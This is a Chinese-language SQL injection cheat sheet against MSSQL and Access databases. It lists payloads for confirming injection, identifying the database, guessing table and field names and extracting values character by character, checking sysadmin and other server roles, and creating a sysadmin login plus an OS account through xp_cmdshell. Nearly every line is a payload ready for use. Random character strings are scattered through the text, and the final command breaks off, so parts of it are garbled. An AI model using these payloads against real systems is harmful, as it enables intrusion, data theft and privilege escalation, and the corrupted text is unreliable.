1.判断是否有注入;and 1=1 ;and 1=2 xE1 eT,
2.初步判断是否是mssql ;and user>0 k[0-CB
(VS5V31"
3.注入参数是字符'and [查询条件] and ''=' ?xK8#
1m+p;T$
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ;g8R4!J
so^lb?g
5.判断数据库系统 >82@Q^O
WJ)z6m]
;and (select count(*) from sysobjects)>0 mssql w'L\?pI
~L]|?d"
;and (select count(*) from msysobjects)>0 access |].pDwgt
85lCj-cs
M=.:,wRm
xrlmKSPa
6.猜数据库 ;and (select Count(*) from [数据库名])>0 =nz}XH%=
QS0:@.}$E)
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 g"Ljm7
J5*tJoCYS
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ckV`OaRw4
z25lZI" X`
9.(1)猜字段的ascii值(access) %?LOs
H
aGK?x1_
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 sfLMkE
4f@o mAM
(2)猜字段的ascii值(mssql) INUG*JC6
=b38(\
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 K )[]fm
"ZHW2l Mf
10.测试权限结构(mssql) |}23>l7
`(T,+T4C5k
v. %R}Pa
a5 *2h{i
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- t
c[n&X
c?P?yIz6p
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- )64@2~4y
BeCWa>54i
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ^
K|;~}P
&lR 6sb\
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- L}GC<D:
+U_=*"@|
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- *+'x~a
f5F@^QXQ
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- F1 iGMf-8
>tTj[cMJl
;and 1=(select IS_MEMBER('db_owner'));-- qNI,
62
dlU'2Cl7d
CQwL|$)]Y
G,TM-l_uw
11.添加mssql和系统的帐户 +$X#q8j06
A3vUPWdDk
;exec master.dbo.sp_addlogin username;-- tcI}Ca>u
;exec master.dbo.sp_password null,username,password;-- x2@U.r"zo
?!wgH9?8
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 'jmTXWq*
m1n.g4Z&*
;exec master.dbo.xp_cmdshell 'net user username password W-Fu -Cz=
U;bK!&